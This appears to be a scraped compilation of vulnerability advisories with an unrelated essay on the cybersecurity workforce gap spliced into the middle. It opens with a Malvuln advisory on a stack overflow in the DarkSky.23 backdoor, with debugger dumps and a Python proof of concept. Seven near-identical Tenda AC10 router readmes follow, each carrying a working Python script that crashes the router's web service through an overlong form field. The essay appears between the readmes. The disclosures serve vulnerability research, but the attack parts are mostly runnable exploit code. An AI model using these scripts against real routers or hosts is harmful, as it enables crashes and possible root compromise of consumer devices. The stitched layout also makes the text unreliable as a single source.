Backdoor.Win32.DarkSky.23 malware suffers from a buffer overflow vulnerability.

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/1164ef21ef2af97e0339359c0dce5e7d.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DarkSky.23  
Vulnerability: Remote Stack Buffer Overflow (SEH)  
Description: The malware listens on TCP port 5418. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting EDX register and Structured Exception Handler (SEH). In order to see the typical exploit pattern of "\x41" "AAAA" we need to actually send "\x50" as there is an loop that performs an XOR converting our payload. Therefore, if we send "AAAAAAAA" we will get "PPPPPPPP", the malware performs the XOR with the value of 11.  
Family: DarkSky  
Type: PE32  
MD5: 1164ef21ef2af97e0339359c0dce5e7d  
Vuln ID: MVID-2022-0648  
Dropped files: SysArchive.exe, KNREL32.exe, notepade.exe  
ASLR: False  
DEP: False  
CFG: False  
Safe SEH: False  
Disclosure: 10/15/2022

Example:

0040134A | 80 34 31 11              | xor byte ptr ds:[ecx+esi],11            | ;XOR converting the payload happens here.  
0040134E | 41                       | inc ecx                                 |  
0040134F | 3B C8                    | cmp ecx,eax                             |  
00401351 | 7C F7                    | jl sysarchive.40134A                    |  
00401353 | 5E                       | pop esi                                 |  
00401354 | C3                       | ret                                     |

Python test...

>>> 0x41 ^ 0x11  
80  
>>> hex(80)  
'0x50'  
>>> chr(0x50)  
'P'

GET /AAAAA will then become all "P" ...

0019D24C  56 54 45 31 3E 50 50 50 50 50 41 41 41 41 41 41  VTE1>PPPPPAAAAAA    
0019D25C  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA    
0019D26C  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA    
0019D27C  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA    
0019D28C  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  

So to get our \x41 pattern we need to supply \x50, the malware will XOR it with 0x11 giving us \x41.

>>> 0x50 ^ 0x11  
65  
>>> hex(65)  
'0x41'  
>>> chr(65)  
'A'

EAX : 7EFEFEFE  
EBX : 02902A58  
ECX : 0019F4B0  
EDX : 41414141  
EBP : 0019D230  
ESP : 0019D214  
ESI : 0019D777  
EDI : 0019FF81  
EIP : 7451561B     msvcrt.7451561B

Finally we see our desired exploit payload converted from \x50 'P' to \x41 or "A" 

0019D240  08 DF 8E 02 08 DF 8E 02 01 00 00 00 56 54 45 31  .ß...ß......VTE1    
0019D250  3E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  >AAAAAAAAAAAAAAA    
0019D260  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA    
0019D270  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA    
0019D280  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 50  AAAAAAAAAAAAAAAP    
0019D290  50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50  PPPPPPPPPPPPPPPP    
0019D2A0  50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50  PPPPPPPPPPPPPPPP

Memory Dump:  
(2798.242c): Stack buffer overflow - code c0000409 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=0019f52c edx=41414141 esi=00000000 edi=00000002  
eip=7770ed3c esp=0019cb60 ebp=0019cba0 iopl=0         nv up ei pl nz ac pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216  
ntdll!ZwWaitForMultipleObjects+0xc:  
7770ed3c c21400          ret     14h

0:000> .ecxr  
eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777 edi=0019fffd  
eip=74515619 esp=0019d214 ebp=0019d230 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
msvcrt!strcat+0x89:  
74515619 8917            mov     dword ptr [edi],edx  ds:002b:0019fffd=41000000  
*** WARNING: Unable to verify checksum for SysArchive.exe  
*** ERROR: Module load completed but symbols could not be loaded for SysArchive.exe

0:000> !analyze -v  
*******************************************************************************  
*                                                                             *  
*                        Exception Analysis                                   *  
*                                                                             *  
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:   
msvcrt!strcat+89  
74515619 8917            mov     dword ptr [edi],edx

EXCEPTION_RECORD:  0019cd64 -- (.exr 0x19cd64)  
ExceptionAddress: 74515619 (msvcrt!strcat+0x00000089)  
   ExceptionCode: c0000005 (Access violation)  
  ExceptionFlags: 00000008  
NumberParameters: 2  
   Parameter[0]: 00000001  
   Parameter[1]: 001a0000  
Attempt to write to address 001a0000

PROCESS_NAME:  SysArchive.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1:  00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  70

APPLICATION_VERIFIER_FLAGS:  0

CHKIMG_EXTENSION: !chkimg -lo 50 -d !msvcrt  
    74515590 - msvcrt!strcat  
  [ 8b:cc ]  
    74515617 - msvcrt!strcat+87 (+0x87)  
  [ eb:cc ]  
2 errors : !msvcrt (74515590-74515617)

CONTEXT:  0019cdb4 -- (.cxr 0x19cdb4)  
eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777 edi=0019fffd  
eip=74515619 esp=0019d214 ebp=0019d230 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
msvcrt!strcat+0x89:  
74515619 8917            mov     dword ptr [edi],edx  ds:002b:0019fffd=41000000  
Resetting default scope

WRITE_ADDRESS:  001a0000 

FOLLOWUP_IP:   
msvcrt!strcat+89  
74515619 8917            mov     dword ptr [edi],edx

FAULTING_THREAD:  0000242c

BUGCHECK_STR:  APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 00404ed7 to 74515619

STACK_TEXT:    
0019d214 00404ed7 0019e24c 0019d777 0019d238 msvcrt!strcat+0x89  
WARNING: Stack unwind information not available. Following frames may be wrong.  
0019d230 00402394 00004128 0019e24c 04ed39f8 SysArchive+0x4ed7  
0019f9e8 41414141 41414141 41414141 41414141 SysArchive+0x2394  
0019f9ec 41414141 41414141 41414141 41414141 0x41414141  
0019f9f0 41414141 41414141 41414141 41414141 0x41414141  
0019f9f4 41414141 41414141 41414141 41414141 0x41414141  
0019f9f8 41414141 41414141 41414141 41414141 0x41414141  
0019f9fc 41414141 41414141 41414141 41414141 0x41414141  
0019fa00 41414141 41414141 41414141 41414141 0x41414141  
0019fa04 41414141 41414141 41414141 41414141 0x41414141  
0019fa08 41414141 41414141 41414141 41414141 0x41414141  
0019fa0c 41414141 41414141 41414141 41414141 0x41414141  
0019fa10 41414141 41414141 41414141 41414141 0x41414141  
0019fa14 41414141 41414141 41414141 41414141 0x41414141  
0019fa18 41414141 41414141 41414141 41414141 0x41414141  
0019fa1c 41414141 41414141 41414141 41414141 0x41414141  
0019fa20 41414141 41414141 41414141 41414141 0x41414141  
0019fa24 41414141 41414141 41414141 41414141 0x41414141  
0019fa28 41414141 41414141 41414141 41414141 0x41414141  
0019fa2c 41414141 41414141 41414141 41414141 0x41414141  
0019fa30 41414141 41414141 41414141 41414141 0x41414141  
...

SYMBOL_NAME:  memory_corruption!msvcrt

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: memory_corruption

IMAGE_NAME:  memory_corruption

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; .cxr 0x19cdb4 ; kb

FAILURE_BUCKET_ID:  MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_memory_corruption!msvcrt

BUCKET_ID:  APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_memory_corruption!msvcrt

0:000> !exchain  
0019cc18: ntdll!_except_handler4+0 (77716a50)  
  CRT scope  0, func:   ntdll!RtlReportExceptionHelper+251 (777557ad)  
0019f9dc: 41414141  
Invalid exception stack at 41414141

Exploit/PoC:  
from socket import *

MALWARE_HOST="x.x.x.x"  
PORT=5418

def doit():  
    s=socket(AF_INET, SOCK_STREAM)  
    s.connect((MALWARE_HOST, PORT))

    JUNK="GET /"+"\x50"*1300+"HTTP/1.1\r\nHost:29"+"\x50"*10000  
    PAYLOAD=JUNK+"\r\n\r\n"

    s.send(PAYLOAD)  
    s.close()  
    print("Backdoor DarkSky.23 Exploit By malvuln")

if __name__=="__main__":  
    doit()

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.DarkSky.23 MVID-2022-0648 Buffer Overflow

Tenda AC10 V15.03.06.23 contains a Stack overflow vulnerability via /goform/formSetSpeedWan.

Permalink

**Tenda AC10V15.03.06.23 Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html
    

**Affected version**

**Vulnerability details**

/goform/SetSpeedWan，speed\_dir is controllable and will eventually be spliced into ret\_buf by sprintf. It is worth noting that the size is not checked, resulting in a stack overflow vulnerability

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x300
p2 \= b'speed\_dir=' + p1

p3 \= b"POST /goform/SetSpeedWan" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac\_login\_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash, and finally we can write an exp to get a root shell

CVE-2022-42166: IOT_Vul/readme.md at main · z1r00/IOT_Vul

Tenda AC10 V15.03.06.23 contains a Stack overflow vulnerability via /goform/formSetFirewallCfg.

Permalink

Cannot retrieve contributors at this time

**Tenda AC10V15.03.06.23 Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html
    

**Affected version**

**Vulnerability details**

/goform/SetFirewallCfg, firewall\_value is controllable and will be copied to firewall\_buf by strcpy. It is worth noting that there is no size check, resulting in stack overflow vulnerability

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x3000
p2 \= b'firewallEn=' + p1

p3 \= b"POST /goform/SetFirewallCfg" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac\_login\_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash, and finally we can write an exp to get a root shell

CVE-2022-42167: IOT_Vul/readme.md at main · z1r00/IOT_Vul

Tenda AC10 V15.03.06.23 contains a Stack overflow vulnerability via /goform/fromSetIpMacBind.

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Cannot retrieve contributors at this time

**Tenda AC10V15.03.06.23 Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html
    

**Affected version**

**Vulnerability details**

/goform/SetIpMacBind, The static\_list is controllable, it will assign the value to the list, and finally use strcpy to copy the list to mib\_buf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x1000
p2 \= b'list=' + p1

p3 \= b"POST /goform/SetIpMacBind" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac\_login\_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash, and finally we can write an exp to get a root shell

CVE-2022-42168: IOT_Vul/readme.md at main · z1r00/IOT_Vul

Tenda AC10 V15.03.06.23 contains a Stack overflow vulnerability via /goform/addWifiMacFilter.

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Cannot retrieve contributors at this time

**Tenda AC10V15.03.06.23 Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html
    

**Affected version**

**Vulnerability details**

/goform/addWifiMacFilter, device\_mac, device\_id are controllable and will be copied to mib\_value by sprintf. It is worth noting that the size is not checked, resulting in a stack overflow vulnerability

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x3000
p2 \= b'device\_id=1&device\_mac=' + p1

p3 \= b"POST /goform/addWifiMacFilter" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash, and finally we can write an exp to get a root shell

CVE-2022-42169: IOT_Vul/readme.md at main · z1r00/IOT_Vul

Tenda AC10 V15.03.06.23 contains a Stack overflow vulnerability via /goform/formWifiWpsStart.

Permalink

Cannot retrieve contributors at this time

**Tenda AC10V15.03.06.23 Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html
    

**Affected version**

**Vulnerability details**

/goform/WifiWpsStart，The index and mode are controllable. If the conditions are met to sprintf, they will be spliced into tmp. It is worth noting that there is no size check,which leads to a stack overflow vulnerability.

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x3000
p2 \= b'mode=1&index=' + p1

p3 \= b"POST /goform/WifiWpsStart" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac\_login\_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash, and finally we can write an exp to get a root shell

CVE-2022-42170: IOT_Vul/readme.md at main · z1r00/IOT_Vul

Tenda AC10 V15.03.06.23 contains a Stack overflow vulnerability via /goform/saveParentControlInfo.

Permalink

Cannot retrieve contributors at this time

**Tenda AC10V15.03.06.23 Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html
    

**Affected version**

**Vulnerability details**

/goform/saveParentControlInfo, In saveParentControlInfo, deviceName and deviceId are controllable and will be passed into the set\_device\_name function. In the set\_device\_name function, dev\_name will be spliced into mib\_vlaue by sprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x3000
p2 \= b'deviceId=1&deviceName=' + p1

p3 \= b"POST /goform/saveParentControlInfo" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac\_login\_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash, and finally we can write an exp to get a root shell

CVE-2022-42171: IOT_Vul/readme.md at main · z1r00/IOT_Vul

A cross-disciplinary effort of change is needed to attract new professionals in the coming decade.

In 2010, the Center for Strategic and International Studies (CSIS) published the report "A Human Capital Crisis in Cybersecurity," which noted "there are about 1,000 security people in the US who have the specialized security skills to operate effectively in cyberspace. We need 10,000 to 30,000."

Twelve years later, the Cyberspace Solarium Commission 2.0 Workforce Development Agenda for the National Cyber Director observed that "in the United States, there are almost 600,000 open cybersecurity jobs across the private sector and federal, state, and local governments — a remarkable gap considering that the field currently employs just over a million professionals." This is not an encouraging trend.

**Stakeholders Who Have the Power**

To effect multigenerational change, there are four distinct groups of stakeholders that have the power to best address a problem that has existed for over a decade.

**Cybersecurity buyers** should generally stop buying point solutions and instead focus on a strategy of long-term consolidation of technical cybersecurity capabilities. Although the latest shift-left-zero-trust-artificial-intelligence-XDR-machine-learning "solution" may provide comprehensive coverage against the latest techniques from an advanced persistent threat, it's meaningless unless your organization has actual proof of engagement by an advanced persistent threat (APT) that uses those techniques. Each new point solution has a training and operations burden, typically a minimum of two people who must learn to design and operate the solution.

Unfortunately, each new solution also needs to be integrated into the organization's existing security stack, which takes precious time and resources, and where visibility failures may provide coverage for threat actors to hide. By comparison, an integrated security stack might not immediately cover every conceivable technology threat permutation, but it will take fewer human resources to own and operate, and those staff tasked with operations will have in-depth knowledge as a result.

**HR professionals** should de-emphasize the importance of certifications for interns and junior and midcareer professionals and instead focus on on-the-job training and clearly defined career paths for cybersecurity professionals. The issue with certifications has existed since before CSIS in 2010 observed, "It is the consensus of the Commission that the current professional certification regime is not merely inadequate; it creates a dangerously false sense of security." Part of the reason for the workforce gap is the sheer number of entry-level job postings that require certifications; the specificity of the job descriptions also has been repeatedly shown to discourage otherwise-qualified women and minorities from even applying.

Retaining cybersecurity professionals is similarly difficult, as many junior and midcareer professionals will change jobs every two to five years to gain expertise with new technologies and additional security domains. Both hiring and retention can be managed effectively with well-defined career paths for cybersecurity professionals, such as those defined by the National Institute of Standards and Technology's (NIST) National Initiative for Cybersecurity Education (NICE) program. When supplemented by paid training from employers, employees are more likely to stay, which further reduces the cybersecurity skills gap.

**Compliance professionals** should be aware that their security counterparts are continuously overextended and seek to automate as many compliance operations as feasible. When responding to an internal assessment or an external audit, compliance professionals regularly rely on the security team to collect evidence of internal control operation and effectiveness. Realistically, this is an "extra" job duty on the part of security professionals, and as such, these tasks may be done in a rush or put off to the last minute, due to the more pressing duties on their limited time. These activities include manual tasks such as taking a screenshot of the password policy and saving it in a defined location or creating a PDF report showing that all hard drives are encrypted. As these compliance activities do not require creativity or intuition, they are prime opportunities for automation, which will lessen the time burden on security professionals. This may also result in a positive change in budgetary priorities, as an organization that has automated many compliance operations can hire additional security staff rather than additional compliance staff.

**Individual cybersecurity professionals** should reach out to middle schools and high schools to find opportunities to speak to young people about their jobs. A persistent misconception in secondary education is that cybersecurity jobs require a programming background, yet most cybersecurity jobs require no expertise in programming. Individual contributors across all disciplines — including sales, marketing, UX design, customer success, DFIR, and red teamers — should try to speak to one secondary school audience about what they do, why they love their job, and how their job has a middle-class salary that likely only required a two-year degree. That last part will resonate with many secondary school students and their parents who are considering how long it may take to pay off a four-year university degree.

Despite there not being a single solution to solving the cybersecurity workforce gap, there are reasons to be hopeful. The cybersecurity community attracts people who like working in teams and sharing their knowledge and experiences. A cross-disciplinary effort of behavioral changes across stakeholders based on shared values may be our best solution moving forward for the next decade.

4 Stakeholders Critical to Addressing the Cybersecurity Workforce Gap

Tenda AC10 V15.03.06.23 contains a Stack overflow vulnerability via /goform/fromNatStaticSetting.

Permalink

**Tenda AC10V15.03.06.23 Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html
    

**Affected version**

**Vulnerability details**

/goform/NatStaticSetting, It can be seen that the page is controlled by the user, and will be spliced into the gotopage with sprintf. It is worth noting that there is no size limit to cause stack overflow.

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x300
p2 \= b'page=' + p1

p3 \= b"POST /goform/NatStaticSetting" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac\_login\_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash, and finally we can write an exp to get a root shell

CVE-2022-42163: IOT_Vul/readme.md at main · z1r00/IOT_Vul

Tenda AC10 V15.03.06.23 contains a Stack overflow vulnerability via /goform/formSetDeviceName.

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Cannot retrieve contributors at this time

**Tenda AC10V15.03.06.23 Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html
    

**Affected version**

**Vulnerability details**

/goform/SetDeviceName, Called set\_device\_name in formSetDeviceName, dev\_name, dev\_id are both controllable

In set\_device\_name, dev\_name will be spliced into sprintf, it is worth noting that the size is not checked, resulting in a stack overflow vulnerability

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x300
p2 \= b'dev\_id=1&devName=' + p1

p3 \= b"POST /goform/SetDeviceName" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111; curShow=; ac\_login\_info=passwork; test=A" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash, and finally we can write an exp to get a root shell

Tag

#mac